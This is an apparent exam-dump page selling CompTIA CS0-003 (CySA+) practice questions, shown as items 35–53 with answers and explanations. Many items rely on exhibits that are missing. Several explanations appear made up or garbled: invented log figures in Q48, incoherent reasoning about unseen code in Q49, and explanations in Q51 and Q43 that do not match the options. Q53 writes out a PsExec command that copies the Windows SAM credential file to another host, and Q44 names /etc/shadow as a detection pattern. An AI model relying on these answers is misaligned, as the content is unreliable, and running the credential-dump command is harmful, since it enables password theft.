検証済みのCS0-003問題集と解答で合格保証で試験問題集テストエンジン [2023]
CS0-003問題集と160独特な問題
CompTIA CS0-003 認定試験の出題範囲：
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質問 # 35
A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?
- A. Security control plane
- B. Data enrichment
- C. Threat feed combination
- D. Single pane of glass
正解：D
解説：
Explanation
A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References:
https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack
質問 # 36
As a proactive threat-hunting technique, hunters must develop situational cases based on likely attack scenarios derived from the available threat intelligence information. After forming the basis of the scenario, which of the following may the threat hunter construct to establish a framework for threat assessment?
- A. Threat vector
- B. Attack profile
- C. Critical asset list
- D. Hypothesis
正解：D
解説：
A hypothesis is a statement that can be tested by threat hunters to establish a framework for threat assessment. A hypothesis is based on situational awareness and threat intelligence information, and describes a possible attack scenario that may affect the organization. A hypothesis can help to guide threat hunters in their investigation by providing a clear and specific question to answer, such as "Is there any evidence of lateral movement within our network?" or "Are there any signs of data exfiltration from our servers?".
質問 # 37
A company is aiming to test a new incident response plan. The management team has made it clear that the initial test should have no impact on the environment. The company has limited resources to support testing. Which of the following exercises would be the best approach?
- A. Capture the flag
- B. Red team vs. blue team
- C. Unknown-environment penetration test
- D. Tabletop scenarios
正解：D
解説：
A tabletop scenario is an informal, discussion-based session in which a team discusses their roles and responses during an emergency, walking through one or more example scenarios. A tabletop scenario is the best approach for a company that wants to test a new incident response plan without impacting the environment or using many resources. A tabletop scenario can help the company identify strengths and weaknesses in their plan, clarify roles and responsibilities, and improve communication and coordination among team members. The other options are more intensive and disruptive exercises that involve simulating a real incident or attack. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 16; https://www.linkedin.com/pulse/tabletop-exercises-explained-matt-lemon-phd
質問 # 38
Legacy medical equipment, which contains sensitive data, cannot be patched. Which of the following is the best solution to improve the equipment's security posture?
- A. Implement a VPN between the legacy systems and the local network.
- B. Place the legacy systems in the perimeter network.
- C. Implement an air gap for the legacy systems.
- D. Move the legacy systems behind a WAR
正解：C
解説：
Implementing an air gap for the legacy systems is the best solution to improve their security posture. An air gap is a physical separation of a system or network from any other system or network that may pose a threat. An air gap can prevent any unauthorized access or data transfer between the isolated system or network and the external environment. Implementing an air gap for the legacy systems can help to protect them from being exploited by attackers who may take advantage of their unpatched vulnerabilities .
質問 # 39
A development team recently released a new version of a public-facing website for testing prior to production. The development team is soliciting the help of various teams to validate the functionality of the website due to its high visibility. Which of the following activities best describes the process the development team is initiating?
- A. User acceptance testing
- B. Stress testing
- C. Code review
- D. Static analysis
正解：A
解説：
User acceptance testing is a process of verifying that a software application meets the requirements and expectations of the end users before it is released to production. User acceptance testing can help to validate the functionality, usability, performance and compatibility of the software application with real-world scenarios and feedback . User acceptance testing can involve various teams, such as developers, testers, customers and stakeholders.
質問 # 40
Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:
Which of the following choices should the analyst look at first?
- A. p4wnp1_aloa.lan (192.168.86.56)
- B. wh4dc-748gy.lan (192.168.86.152)
- C. xlaptop.lan (192.168.86.249)
- D. lan (192.168.86.22)
- E. imaging.lan (192.168.86.150)
正解：A
解説：
The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network. Official Reference: https://github.com/mame82/P4wnP1_aloa
質問 # 41
An organization supports a large number of remote users. Which of the following is the best option to protect the data on the remote users' laptops?
- A. Use whole disk encryption.
- B. Require employees to sign an NDA.
- C. Require the use of VPNs.
- D. Implement a DLP solution.
正解：A
解説：
Using whole disk encryption is the best option to protect the data on the remote users' laptops. Whole disk encryption is a technique that encrypts all data on a hard disk drive, including the operating system, applications and files. Whole disk encryption can prevent unauthorized access to the data if the laptop is lost, stolen or compromised. Whole disk encryption can also protect the data from physical attacks, such as removing the hard disk and connecting it to another device .
質問 # 42
An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?
- A. Hard disk
- B. Static IP address
- C. Primary boot partition
- D. Malicious tiles
- E. Routing table
正解：A
解説：
Explanation
The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.
質問 # 43
An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?
- A. Webhooks
- B. Allowlisting
- C. Blocklisting
- D. Graylisting
正解：B
解説：
Explanation
The correct answer is B. Allowlisting.
Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers12.
The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software integration.
質問 # 44
A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?
- A. /etc/ shadow
- B. curl localhost
- C. ; printenv
- D. cat /proc/self/
正解：A
解説：
Explanation
/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server.
Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:
https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
https://www.comptia.org/certifications/cybersecurity-analyst
https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
質問 # 45
A technician is analyzing output from a popular network mapping tool for a PCI audit:
Which of the following best describes the output?
- A. The host is running excessive cipher suites.
- B. The host is not up or responding.
- C. The Secure Shell port on this host is closed
- D. The host is allowing insecure cipher suites.
正解：D
解説：
Explanation
The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used.
Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.
質問 # 46
A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:
Which of the following should be completed first to remediate the findings?
- A. Purchase an appropriate certificate from a trusted root CA
- B. Ask the web development team to update the page contents
- C. Perform proper sanitization on all fields
- D. Add the IP address allow listing for control panel access
正解：C
解説：
The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.
質問 # 47
Which of the following is the greatest security concern regarding ICS?
- A. The involved systems are generally hard to identify.
- B. The systems are configured for automatic updates, leading to device failure.
- C. The systems are oftentimes air gapped, leading to fileless malware attacks.
- D. Issues on the systems cannot be reversed without rebuilding the systems.
正解：D
解説：
Industrial control systems (ICS) are systems that monitor and control physical processes, such as power generation, water treatment, manufacturing, and transportation. ICS are often critical for public safety and national security, and therefore a prime target for cyberattacks. One of the greatest security concerns regarding ICS is that issues on the systems cannot be reversed without rebuilding the systems. This means that any damage or disruption caused by an attack can have long-lasting and catastrophic consequences for the physical infrastructure and human lives. The other options are not true or not specific to ICS. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 13; https://www.us-cert.gov/ics/What-are-Industrial-Control-Systems
質問 # 48
Approximately 100 employees at your company have received a Phishing email. AS a security analyst. you have been tasked with handling this Situation.
Review the information provided and determine the following:
1. HOW many employees Clicked on the link in the Phishing email?
2. on how many workstations was the malware installed?
3. what is the executable file name of the malware?
- A. se ethe answer in explanation for thi stask
正解：A
解説：
1. How many employees clicked on the link in the phishing email?
According to the email server logs, 25 employees clicked on the link in the phishing email.
2. On how many workstations was the malware installed?
According to the file server logs, the malware was installed on 15 workstations.
3. What is the executable file name of the malware?
The executable file name of the malware is svchost.EXE.
Answers
1. 25
2. 15
3. svchost.EXE
質問 # 49
A company brings in a consultant to make improvements to its website. After the consultant leaves. a web developer notices unusual activity on the website and submits a suspicious file containing the following code to the security team:
Which of the following did the consultant do?
Implanted a backdoor
Implemented privilege escalation
Implemented clickjacking
Patched the web server
- A. Implanted a backdoor.
正解：A
解説：
A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.
In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of a shutdown button and an alert message that says "Exit". However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker. This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.
The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.
Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.
Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant patched the web server or improved its security in any way.
Explanation:
The correct answer is
Reference:
1 What Is a Backdoor & How to Prevent Backdoor Attacks (2023)
2 What is Clickjacking? Tutorial & Examples | Web Security Academy
3 What Is Privilege Escalation and How It Relates to Web Security | Acunetix
4 What Is Patching? | Best Practices For Patch Management - cWatch Blog
質問 # 50
You are a penetration tester who is reviewing the system hardening guidelines for a company.
Hardening guidelines indicate the following.
There must be one primary server or service per device.
Only default port should be used
Non- secure protocols should be disabled.
The corporate internet presence should be placed in a protected subnet
Instructions :
Using the available tools, discover devices on the corporate network and the services running on these devices.
You must determine
ip address of each device
The primary server or service each device
The protocols that should be disabled based on the hardening guidelines
正解：
解説：
質問 # 51
A security audit for unsecured network services was conducted, and the following output was generated:
Which of the following services should the security team investigate further? (Select two).
- A. 0
- B. 1
- C. 2
- D. 3
- E. 4
- F. 5
正解：B、D
解説：
Explanation
The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices1 The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.
Among the six ports listed, two are particularly risky and should be investigated further by the security team:
port 23 and port 636.
Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution.
Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host23 Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.
Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362
質問 # 52
A security engineer is reviewing security products that identify malicious actions by users as part of a company's insider threat program. Which of the following is the most appropriate product category for this purpose?
- A. SCAP
- B. SOAR
- C. UEBA
- D. WAF
正解：C
解説：
UEBA stands for User and Entity Behavior Analytics, which is a category of security products that use machine learning and statistical analysis to identify malicious actions by users or entities on a network. UEBA products can detect anomalous or suspicious behaviors that deviate from normal patterns or baselines, such as data exfiltration, privilege escalation, unauthorized access, insider threats, or compromised accounts. UEBA products can also provide alerts, reports, or recommendations for response actions based on the detected behaviors.
質問 # 53
While reviewing system logs, a network administrator discovers the following entry:
Which of the following occurred?
- A. The PsExec services failed to execute.
- B. A user was trying to download a password file from a remote system.
- C. An attempt was made to access a remote workstation.
- D. A remote shell failed to open.
正解：B
解説：
The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user "administrator" tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username "administrator" and password "P@ssw0rd", copy cmd.exe to the remote system, and execute it with the command "type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt". This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
質問 # 54
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CS0-003問題集は合格保証付き！合格させるCS0-003試験：https://www.passtest.jp/CompTIA/CS0-003-shiken.html
CS0-003試験問題集でベスト問題集を無料で試そうCS0-003試験問題：https://drive.google.com/open?id=1aRdDC6XQwUMtu5AQqNyfLSOfxLJ-CpDn